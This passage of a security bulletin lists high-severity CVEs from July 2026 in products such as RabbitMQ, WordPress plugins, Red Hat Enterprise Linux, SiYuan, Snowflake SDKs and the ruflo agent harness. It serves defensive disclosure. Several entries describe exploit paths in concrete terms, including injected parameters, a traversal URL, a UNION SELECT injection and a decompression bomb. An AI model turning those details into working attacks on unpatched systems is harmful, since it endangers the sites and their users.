| rabbitmq--rabbitmq-server  | RabbitMQ is a messaging and streaming broker. Prior to 4.2.6, the RabbitMQ stream listener does not enforce the configured stream frame-size limit while assembling frames during authentication and before Tune negotiation, allowing an unauthenticated remote client to declare oversized frame lengths and consume broker memory in rabbit_stream_core. This issue is fixed in version 4.2.6.                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-10 | 7.5        | <a href="#">CVE-2026-57220</a> |
| rabibal--WP Learn Manager  | The WP Learn Manager plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.1.8. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins from the WordPress.org repository on the vulnerable site.                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-08 | 9.8        | <a href="#">CVE-2026-12153</a> |
| RafyMrX--TOKO-ONLINE-ROTI  | A vulnerability was identified in RafyMrX TOKO-ONLINE-ROTI up to ddfc1cd587be0a0b5135d8b6e85cce2ec3aece99. Affected by this vulnerability is an unknown functionality of the file proses/login.php. The manipulation of the argument Username leads to sql injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                          | 2026-07-12 | 7.3        | <a href="#">CVE-2026-15489</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| RafyMrX--TOKO-ONLINE-ROTI                                      | A security flaw has been discovered in RafyMrX TOKO-ONLINE-ROTI up to ddfe1cd587be0a0b5135d8b6e85cce2ec3aece99. Affected by this issue is some unknown functionality of the file proses/add.php. The manipulation of the argument kode_produk/kd_cs results in sql injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The vendor was contacted early about this disclosure but did not respond in any way. | 2026-07-12 | 7.3        | <a href="#">CVE-2026-15490</a> |
| RafyMrX--TOKO-ONLINE-ROTI                                      | A weakness has been identified in RafyMrX TOKO-ONLINE-ROTI up to ddfe1cd587be0a0b5135d8b6e85cce2ec3aece99. This affects an unknown part. This manipulation causes missing authentication. The attack is possible to be carried out remotely. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                | 2026-07-12 | 7.3        | <a href="#">CVE-2026-15491</a> |
| react--create-react-app                                        | A vulnerability was detected in react create-react-app up to 5.0.1 on macOS. This affects the function startBrowserProcess of the file openBrowser.js of the component react-dev-utils. Performing a manipulation results in os command injection. Remote exploitation of the attack is possible. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                     | 2026-07-06 | 7.3        | <a href="#">CVE-2026-14802</a> |
| Red Hat--Red Hat Advanced Cluster Security for Kubernetes 4.10 | A flaw was found in Red Hat Advanced Cluster Security for Kubernetes (RHACS). Central does not limit the depth of GraphQL queries served on the authenticated GraphQL API. An authenticated user with a valid API token can send deeply nested queries that cause excessive resource consumption in Central, resulting in a denial of service for the management plane.                                                                                                                                                                                                                                                           | 2026-07-06 | 7.7        | <a href="#">CVE-2026-9165</a>  |
| Red Hat--Red Hat Enterprise Linux 10                           | A flaw was found in SSSD's LDAP sudo provider. When the ldap_sudo_search_base option is not explicitly configured, SSSD searches the entire LDAP directory tree for sudoRole objects. An authenticated attacker with write access to any subtree can inject a sudoRole object granting root-level sudo privileges on all SSSD-enrolled hosts.                                                                                                                                                                                                                                                                                     | 2026-07-07 | 8.8        | <a href="#">CVE-2026-14474</a> |
| Red Hat--Red Hat Enterprise Linux 10                           | A path traversal flaw was found in SSSD's AD GPO provider. The ad_gpo_extract_smb_components() function does not sanitize .. sequences in the gPCFileSysPath LDAP attribute, allowing an attacker with AD GPO management access to write files outside the GPO cache directory as root. On default RHEL configurations with SELinux enforcing, this can be used to inject Kerberos configuration leading to authentication bypass.                                                                                                                                                                                                | 2026-07-07 | 8          | <a href="#">CVE-2026-14476</a> |
| Red Hat--Red Hat Enterprise Linux 10                           | A heap buffer overflow vulnerability was found in GStreamer's rfbsrc plugin. When a client connects to a malicious RFB/VNC server that advertises a 16bpp framebuffer and sends Hextile-encoded updates, the Hextile background fill path writes 32-bit pixel values into a buffer allocated for 16-bit pixels. This type mismatch causes an out-of-bounds heap write that can lead to denial of service (process crash) and potential memory corruption.                                                                                                                                                                         | 2026-07-09 | 7.1        | <a href="#">CVE-2026-59691</a> |
| Red Hat--Red Hat Enterprise Linux 10                           | A stack buffer overflow vulnerability was found in GStreamer's DTLS plugin. During a DTLS handshake, the peer certificate Subject Distinguished Name is printed into a fixed-size 2048-byte stack buffer without bounds checking. A remote unauthenticated attacker can send a certificate with an oversized Subject DN that exceeds the buffer, causing a stack buffer overflow and process crash, resulting in denial of service.                                                                                                                                                                                               | 2026-07-09 | 7.5        | <a href="#">CVE-2026-59692</a> |
| Red Hat--Red Hat Enterprise Linux 6                            | A flaw was found in GIMP's PNM file format parser. When parsing a specially crafted PNM file, the pnmscanner_gettoken() function writes a null terminator one byte past the end of a stack-allocated buffer due to an off-by-one error in the loop boundary check. This could lead to memory corruption, potentially resulting in denial of service or arbitrary code execution.                                                                                                                                                                                                                                                  | 2026-07-06 | 7.3        | <a href="#">CVE-2026-58380</a> |
| Red Hat--Red Hat Enterprise Linux 6                            | A flaw was found in GIMP's PSD parser. An integer overflow in read_RLE_channel() can cause an undersized heap allocation for the RLE row-length table, after which subsequent per-row writes corrupt heap memory. This could lead to memory corruption, potentially resulting in denial of service or arbitrary code execution.                                                                                                                                                                                                                                                                                                   | 2026-07-07 | 7.3        | <a href="#">CVE-2026-58384</a> |
| Red Hat--Red Hat OpenShift AI (RHOAI)                          | A flaw was found in the file_type content detector of guardrails-detectors. This vulnerability allows a remote attacker to supply an arbitrary XML Schema Definition (XSD) string, which is processed without proper restrictions. This can lead to server-side requests to arbitrary URLs or local file reads, potentially resulting in sensitive information disclosure, such as cloud provider credentials or access to internal network services.                                                                                                                                                                             | 2026-07-10 | 9.3        | <a href="#">CVE-2026-15143</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Red Hat--Red Hat OpenShift AI (RHOAI)                          | A flaw was found in the `guardrails-detectors` component. This vulnerability allows a remote attacker to perform a blind Server-Side Request Forgery (SSRF) by submitting a specially crafted XML Schema Definition (XSD) string. This can lead to unauthorized access to sensitive information, including credentials from cloud metadata services, Kubernetes API, internal MiniIO, and other internal network endpoints. Additionally, it enables local file reads of critical data such as service account tokens and pod secrets.                                                                                                                               | 2026-07-10 | 9.3        | <a href="#">CVE-2026-15378</a> |
| repomix--repomix                                               | repomix contains a server-side request forgery vulnerability in the POST /api/pack endpoint that allows unauthenticated attackers to make arbitrary outbound requests. The endpoint fails to properly validate http://, https://, and file:// URLs before passing them to git clone, enabling attackers to access private network addresses, GCP metadata services, or local filesystem paths.                                                                                                                                                                                                                                                                       | 2026-07-08 | 9.3        | <a href="#">CVE-2026-59702</a> |
| repomix--repomix                                               | repomix contains a local file inclusion vulnerability in the git clone endpoint that allows unauthenticated attackers to read arbitrary local git repositories. The isValidRemoteValue function in src/core/git/gitRemoteParse.ts fails to block file:// URLs, permitting attackers to supply file:// scheme URLs that bypass validation and are passed directly to git clone, enabling unauthorized access to all tracked file contents on the server filesystem.                                                                                                                                                                                                   | 2026-07-08 | 7.5        | <a href="#">CVE-2026-59703</a> |
| rnzo--Connect Contact Form 7 and Mailchimp                     | The Connect Contact Form 7 and Mailchimp plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Mailchimp Merge Field Values in all versions up to, and including, 0.9.78.06 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The injected payload is only triggered when a privileged user (Administrator) performs a Contact Lookup for the email address submitted via the CF7 form, meaning execution is deferred until an administrator interacts with the affected entry. | 2026-07-09 | 7.2        | <a href="#">CVE-2026-15000</a> |
| ronf--asyncssh                                                 | AsyncSSH is a Python package which provides an asynchronous client and server implementation of the SSHv2 protocol on top of the Python asyncio framework. Prior to 2.23.1, a malicious SSH server can write arbitrary files on the asyncssh SCP client's filesystem by sending filenames containing ../ traversal sequences because _parse_cd_args in scp.py returns server-provided names verbatim and _recv_files joins them to the destination path without enforcing the target directory boundary. This issue is fixed in version 2.23.1.                                                                                                                      | 2026-07-08 | 8.1        | <a href="#">CVE-2026-54591</a> |
| RustDesk--RustDesk                                             | RustDesk before 1.4.9 does not enforce a session's authorized connection scope on the server side, so a peer granted a limited session type (FileTransfer, PortForward, ViewCamera, or Terminal) can send control messages and login options reserved for a full Remote session. An authenticated remote peer can exploit this missing scope check to act outside its granted scope, injecting out-of-scope control messages to observe and control the host beyond the permissions it was given.                                                                                                                                                                    | 2026-07-10 | 8.3        | <a href="#">CVE-2026-57850</a> |
| ruvnet--ruflo                                                  | Ruflo is an agent meta-harness for Claude Code and Codex. Prior to 3.16.3, ruflo's default docker-compose deployment exposed the MCP bridge POST /mcp and POST /mcp/:group endpoints without authentication, allowing an unauthenticated network attacker to invoke tools/call to terminal_execute, obtain a shell in the bridge container, read provider API keys, and poison AgentDB learning-store patterns. This issue is fixed in version 3.16.3.                                                                                                                                                                                                               | 2026-07-09 | 10         | <a href="#">CVE-2026-59726</a> |
| seaweedfs--seaweedfs                                           | SeaweedFS is a distributed storage system. Prior to 4.34, the S3 API gateway does not reject dot-dot path segments in the X-Amz-Copy-Source header used by CopyObject and UploadPartCopy, allowing an authenticated identity scoped to one bucket to read objects from other buckets through server-side copy. This issue is fixed in version 4.34.                                                                                                                                                                                                                                                                                                                  | 2026-07-08 | 7.7        | <a href="#">CVE-2026-55874</a> |
| SecureAge--CatchPulse                                          | A security vulnerability has been detected in SecureAge CatchPulse up to 10.9.3. The affected element is an unknown function in the library saappctl.sys of the component Driver. Such manipulation leads to heap-based buffer overflow. An attack has to be approached locally. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure.                                                                                                                                                                                                                                                                      | 2026-07-12 | 7.8        | <a href="#">CVE-2026-15506</a> |
| Semtek Informatics Software Consulting Trade Ltd. Co.--SEM-PMP | Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Semtek Informatics Software Consulting Trade Ltd. Co. SEM-PMP allows Command Line Execution through SQL Injection. This issue affects SEM-PMP: through 23042026.                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-10 | 9.8        | <a href="#">CVE-2026-5801</a>  |
| sergomanov--SmartHomeAdatum                                    | A vulnerability was identified in sergomanov SmartHomeAdatum up to cf495353d81b680675eb8d9aa14a318aa45ce12c. This impacts an unknown function of the file users.php of the component Login. Such manipulation of the argument Login leads to sql injection. The attack may be launched remotely. This product operates on a rolling release basis, ensuring continuous delivery.                                                                                                                                                                                                                                                                                     | 2026-07-12 | 7.3        | <a href="#">CVE-2026-15498</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                     | Consequently, there are no version details for either affected or updated releases. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| shen2--                                                             | The <code>wp-admin-ajax</code> plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2. The vulnerability exists due to a missing capability and nonce check on a directly web-accessible API endpoint, combined with a trivially forgeable HMAC-SHA1 signature keyed on an always-empty WordPress option, which allows the endpoint's <code>update_option</code> handler to pass attacker-controlled <code>option</code> and <code>value</code> parameters directly to WordPress's <code>update_option</code> function without any allowlist or sanitization. This makes it possible for unauthenticated attackers to update arbitrary WordPress options - such as setting <code>default_role</code> to <code>administrator</code> and enabling open registration - and subsequently register an account with full administrator privileges. | 2026-07-08 | 8.8        | <a href="#">CVE-2026-14482</a> |
| Siemens--CPCI85 Central Processing/Communication                    | A vulnerability has been identified in CPCI85 Central Processing/Communication (All versions < V26.20), SICORE Base system (All versions < V26.20.0). The affected application contains insufficient validation of authentication credentials when processing administrative account modifications through the web API. This could allow an authenticated attacker to bypass security controls and gain unauthorized elevated privileges.                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-09 | 7.2        | <a href="#">CVE-2026-54801</a> |
| SimpleMachines--SMF                                                 | Simple Machines Forum 2.1 prior to 2.1.8 and 3.0 prior to 3.0 Alpha 5 contains an authorization bypass vulnerability in <code>Sources/Actions/AttachmentApprove.php</code> where a single-character operator error causes the permission check to always pass regardless of user permissions. An authenticated low-privileged user can approve, reject, or delete any pending attachments on any board without holding the required <code>approve_posts</code> permission, bypass moderation queues for their own uploads, and enumerate and delete other users' pending attachments.                                                                                                                                                                                                                                                                                                      | 2026-07-10 | 7.1        | <a href="#">CVE-2026-39903</a> |
| Sipeed--PicoClaw                                                    | A security vulnerability has been detected in Sipeed PicoClaw up to 0.2.9. This affects the function <code>IPAllowlist</code> of the file <code>web/backend/middleware/access_control.go</code> of the component Launcher. Such manipulation leads to improper access controls. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The name of the patch is 3126. A patch should be applied to remediate this issue.                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-10 | 7.3        | <a href="#">CVE-2026-15319</a> |
| siyuan-note--siyuan                                                 | SiYuan is an open-source personal knowledge management system. Prior to 3.7.1, the <code>/snippets/*filepath</code> route handler <code>serveSnippets</code> in <code>kernel/server/serve.go</code> joins a single-decoded request path with the snippets directory without subpath containment or sensitive-path checks, allowing an authenticated request such as <code>/snippets/%2e%2e/%2e%2e/conf/conf.json</code> to read workspace secrets and the document database. This issue is fixed in versions 3.7.1.                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-09 | 7.7        | <a href="#">CVE-2026-59832</a> |
| siyuan-note--siyuan                                                 | SiYuan is an open-source personal knowledge management system. Prior to 3.7.1, the block search endpoint <code>POST /api/search/fullTextSearchBlock</code> concatenates attacker-controlled paths values into SQL predicates used by non-SQL search modes, allowing an unauthenticated publish visitor to inject a <code>UNION SELECT</code> and return rows from hidden documents by projecting an allowed visible box and path. This issue is fixed in versions 3.7.1.                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-09 | 7.5        | <a href="#">CVE-2026-59834</a> |
| smackcoders--WP Ultimate CSV Importer & Export for CSV, XML & Excel | The WP Ultimate CSV Importer - WordPress Import & Export for CSV, XML & Excel plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.0.1 via the <code>'MappedFields'</code> parameter. This is due to missing capability checks on the AJAX handlers for <code>install_addon</code> , <code>saveMappedFields</code> , and <code>StartImport</code> , combined with the plugin nonce being exposed to any authenticated user who can load an admin page, allowing a Subscriber to install the Import WooCommerce add-on, persist attacker-controlled PHP expressions in the <code>MappedFields</code> parameter, and trigger evaluation via <code>eval()</code> in <code>ImportHelpers::get_meta_values()</code> . This makes it possible for authenticated attackers, with subscriber-level access and above, to execute code on the server. | 2026-07-11 | 8.8        | <a href="#">CVE-2026-13353</a> |
| smallnest--rpcx                                                     | <code>rpcx</code> through 1.9.3, fixed in commit 047aec1, contains a denial-of-service vulnerability in <code>protocol.Message.Decode</code> ( <code>protocol/message.go</code> ). When a message has the compression flag set, the payload is gzip-decompressed via <code>util.Unzip</code> with no limit on the decompressed output size. The only built-in size guard, <code>protocol.MaxMessageLength</code> , is checked against the compressed on-the-wire frame length, not the decompressed size, so it provides no protection. Because decoding (and decompression) occurs in <code>readRequest</code> before authentication, a single unauthenticated connection can send a small (under 2 MB) gzip-compressed message that expands to gigabytes of heap allocation, leading to out-of-memory conditions and service unavailability.                                             | 2026-07-08 | 7.5        | <a href="#">CVE-2026-59803</a> |



# High Vulnerabilities

| Primary Vendor -- Product                            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Snowflake--Snowpark Python SDK                       | SQL injection vulnerabilities in the Snowflake Snowpark Python SDK (snowpark-python) versions prior to 1.53.0 could allow authenticated low-privilege users to execute SQL beyond their authorization scope. An attacker could exploit these vulnerabilities by embedding SQL payloads in source database column names to escalate privileges via the DataFrameReader.dbapi() API by supplying a specially crafted location parameter to DataFrameWriter.write methods to redirect a COPY INTO to an arbitrary source query, or by including a backslash-single-quote sequence in an export path to defeat the normalize_path() sanitizer and inject SQL via DataFrame.to_csv(). Successful exploitation may result in source database compromise, unauthorized cross-tenant data exfiltration, or unauthorized read of Snowflake account data.                               | 2026-07-08 | 9.6        | <a href="#">CVE-2026-15062</a> |
| Snowflake--Terraform Provider for Snowflake          | Snowflake Terraform Provider versions prior to 2.18.0 contain several security vulnerabilities, including SQL injection via an unsanitized data source input could result in arbitrary SQL execution under the provider's privileged Snowflake session, potentially enabling sensitive data exfiltration and minting of long-lived access credentials. Exploitation requires the ability for an attacker to influence a workspace variable in a pipeline where this data source was enabled. Improper neutralization of identifier content in user resource inputs could allow DDL injection into user management statements, potentially causing accounts to be created with attacker-controlled credentials and without the security controls configured by the operator. The fix is available in Snowflake Terraform Provider version 2.18.0. Users must manually upgrade. | 2026-07-08 | 8.8        | <a href="#">CVE-2026-15067</a> |
| socketio--socket.io                                  | Socket.IO enables bidirectional and low-latency communication for every platform. From 6.5.0 before 6.6.7, Engine.IO servers with WebTransport enabled can resolve a crafted session ID such as __proto__ through an inherited property of the clients object during WebTransport upgrade handling, causing a TypeError and denial of service. This issue is fixed in version 6.6.7.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-08 | 7.5        | <a href="#">CVE-2026-59724</a> |
| socketio--socket.io                                  | Socket.IO enables bidirectional and low-latency communication for every platform. From 4.1.0 before 6.6.7, Engine.IO protocol v4 polling transport does not properly close the HTTP response for invalid binary POST requests with Content-Type: application/octet-stream, allowing an unauthenticated attacker to exhaust server-side connections and sockets. This issue is fixed in version 6.6.7.                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-08 | 7.5        | <a href="#">CVE-2026-59725</a> |
| SonicCloudOrg--sonic-agent                           | A vulnerability was determined in SonicCloudOrg sonic-agent up to 2.7.2. This affects an unknown function of the file sonic-server-controller/src/main/java/org/cloud/sonic/controller/controller/ExchangeController.java of the component JWT Authentication Filter. This manipulation causes code injection. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.                                                                                                                                                                                                                                                                               | 2026-07-12 | 7.3        | <a href="#">CVE-2026-15497</a> |
| SourceCodester--Simple and Nice Shopping Cart Script | A vulnerability was detected in SourceCodester Simple and Nice Shopping Cart Script 1.0. This affects an unknown part of the file /login.php. Performing a manipulation of the argument Username results in sql injection. Remote exploitation of the attack is possible. The exploit is now public and may be used.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-09 | 7.3        | <a href="#">CVE-2026-15190</a> |
| spinnaker--spinnaker                                 | Spinnaker is an open source, multi-cloud continuous delivery platform. Prior to 2026.1.0, 2026.0.3, 2025.4.4, and 2025.3.3, unsafe YAML processing bypasses safe deserialization when using CloudFormation deployments or CloudFoundry baking. The use of a non-safe constructor allows arbitrary loading of Java classes, leading to remote code execution. This issue is fixed in versions 2026.1.0, 2026.0.3, 2025.4.4, and 2025.3.3.                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-10 | 8.8        | <a href="#">CVE-2026-44795</a> |
| spinnaker--spinnaker                                 | Spinnaker is an open source, multi-cloud continuous delivery platform. Prior to versions 2026.1.1, 2026.0.3, 2025.4.4, and 2025.3.4 on their respective release lines, Kustomize bake operations allow unsafe YAML tag processing in rosco manifests. This can lead to remote code execution on rosco pods when performing Kustomize bakes. This issue is fixed in versions 2026.1.1, 2026.0.3, 2025.4.4, and 2025.3.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-10 | 7.5        | <a href="#">CVE-2026-55175</a> |
| ST Engineering iDirect--Evolution iQSeries terminals | The iDirect iQ200 does not validate CSRF tokens on state-changing API endpoints after authentication. The /api/reboot endpoint accepts POST requests authenticated solely by a session cookie that lacks the SameSite attribute. A remote attacker can host a malicious web page that, when visited by an authenticated administrator, automatically submits a cross-site POST request causing an immediate device reboot and satellite link loss. Repeated attacks can sustain a denial-of-service condition.                                                                                                                                                                                                                                                                                                                                                                | 2026-07-10 | 8.1        | <a href="#">CVE-2026-38057</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                                                                     | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| ST Engineering iDirect--Evolution iQSeries terminals                                                                          | The iDirect iQ200 exposes the /api/identity and /api/ REST API endpoints without authentication. An unauthenticated attacker with network access can retrieve sensitive device information including the serial number, Device ID (DID), Terminal Private Key identifier (TPK), MAC address, and exact firmware version. The DID and TPK are used for satellite network authentication in the iDirect platform, potentially enabling terminal impersonation and network reconnaissance.                                                                                                                                                                                                                                                                                                                                     | 2026-07-10 | 7.5        | <a href="#">CVE-2026-38059</a> |
| stanfordnlp--stanza                                                                                                           | Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. Prior to 1.12.2, Stanza model loaders such as stanza.models.common.pretrain.Pretrain.load() attempt torch.load(..., weights_only=True) but fall back to torch.load(..., weights_only=False) on attacker-controllable pickle.UnpicklingError, allowing a malicious .pt pretrain or model file to execute arbitrary pickle code when a Stanza NLP pipeline loads it. This issue is fixed in version 1.12.2.                                                                                                                                                                                                                                                                                        | 2026-07-08 | 7.5        | <a href="#">CVE-2026-54499</a> |
| stiofansisland--UsersWP Front-end login form, User Registration, User Profile & Members Directory plugin for WP               | The UsersWP plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to, and including, 1.2.65. This is due to insufficient validation of file-field values in the UsersWP_Validation::validate_fields() function (which falls through to sanitize_text_field() for fields of type 'file', leaving directory-traversal sequences intact) combined with the UsersWP_Forms::upload_file_remove() AJAX handler building the deletion target from the uploads basedir concatenated with the attacker-controlled metadata value without any realpath canonicalization or uploads-directory boundary check before calling unlink(). This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the affected site's server, including wp-config. | 2026-07-09 | 8.8        | <a href="#">CVE-2026-13492</a> |
| stylemix--Motors Car Dealership & Classified Listings Plugin                                                                  | The Motors - Car Dealership & Classified Listings Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content and User Biographical Info in all versions up to, and including, 1.4.112 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-11 | 7.2        | <a href="#">CVE-2026-13114</a> |
| surecart--SureCart Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments | The SureCart plugin for WordPress is vulnerable to privilege escalation via account takeover in versions up to, and including, 4.2.3. This is due to the plugin not properly validating a user's identity prior to updating their details like email during customer profile synchronization from webhook events. This makes it possible for unauthenticated attackers to change linked user's email addresses, including administrators if the administrator account is linked to a SureCart customer record, and leverage that to reset the user's password and gain access to their account if the customer ID is known.                                                                                                                                                                                                 | 2026-07-11 | 8.1        | <a href="#">CVE-2026-7655</a>  |
| SUSE--Rancher                                                                                                                 | A vulnerability has been identified in Fleet's agent-side deployer, which did not filter security-sensitive keys from namespaceLabels in fleet.yaml (or BundleDeployment.spec.options.namespaceLabels) when applying them to the target namespace. An attacker with git push access to a Fleet-monitored repository could overwrite Pod Security Standards (PSS) enforcement labels on a target namespace. This allows the attacker to weaken admission controls and deploy workloads that PSS policies would otherwise block.                                                                                                                                                                                                                                                                                              | 2026-07-07 | 8.8        | <a href="#">CVE-2026-44938</a> |
| symfony--ux                                                                                                                   | Symfony UX is a JavaScript ecosystem for Symfony. From 2.32.0 before 2.36.1 and from 3.0.0 before 3.2.0, the ux:install console command installs files from a recipe kit by copying paths listed in a copy-files map, and because Path::isRelative() accepts paths like ../.././etc, a crafted or compromised kit can write attacker-controlled content to arbitrary locations or read local files outside the recipe directory. This issue is fixed in versions 2.36.1 and 3.2.0.                                                                                                                                                                                                                                                                                                                                          | 2026-07-08 | 7.8        | <a href="#">CVE-2026-55878</a> |
| tainacan--Tainacan                                                                                                            | The Tainacan plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'geoquery' parameter in all versions up to and including 1.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                                                                                                                                                                                                 | 2026-07-08 | 7.5        | <a href="#">CVE-2026-6230</a>  |
| Tanium--Tanium Server                                                                                                         | Tanium addressed a denial of service vulnerability in Tanium Server.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-08 | 7.5        | <a href="#">CVE-2026-15053</a> |
| templatic1--Hide My WP Lite                                                                                                   | The Hide My WP Lite plugin for WordPress is vulnerable to Arbitrary File Read in versions up to and including 1.3 via the he_wrapper_js and he_wrapper_css query parameters processed by the elementor_assets_filter() function. This is due to the function concatenating user-supplied input directly onto ABSPATH and passing the result to file_get_contents() without any path traversal validation, allow-list, realpath containment, or extension check; the result is then echoed in the HTTP response. Although the output is passed through wp_kses_post(), that function                                                                                                                                                                                                                                         | 2026-07-10 | 7.5        | <a href="#">CVE-2026-13347</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                                   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                             | only filters HTML tags and does not prevent disclosure of arbitrary file contents. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the affected site's server (such as wp-config). Note: The exploit requires the Elementor plugin and the 'Hide Elementor' feature to be enabled.                                                                                                                                                                                                                                                                                                                                                                                                                                      |            |            |                                |
| tenteeglobal--Instant Appointment                                                           | The Instant Appointment plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'insapp_upload_image_as_attachment' function in all versions up to, and including, 1.2. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-10 | 9.8        | <a href="#">CVE-2026-15282</a> |
| Teracity Software Technologies Inc.--TeraMIS                                                | Authorization bypass through User-Controlled key vulnerability in Teracity Software Technologies Inc. TeraMIS allows Privilege Abuse. This issue affects TeraMIS: from V03.26.01.14 through 30.04.2026.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-10 | 8.8        | <a href="#">CVE-2026-6212</a>  |
| themeatelier--ChatHelp Click to Chat Button, WooCommerce Chat to Order & Floating Chat Form | The Chat Help - Click to Chat Button & Form plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.1.3 via the REST API endpoints /wp-json/chat-help/v1/leads and /wp-json/chat-help/v1/leads/{id}. This is due to the plugin not performing any authentication and authorization checks. This makes it possible for unauthenticated attackers to extract sensitive data including customer names, email addresses, phone numbers, WhatsApp messages, complete geolocation data (IP addresses, city, country, ISP, coordinates), device fingerprinting information (browser, OS, screen resolution), and WordPress account credentials (user IDs, usernames, emails, names) for logged-in users who submit forms. | 2026-07-10 | 7.5        | <a href="#">CVE-2026-15291</a> |
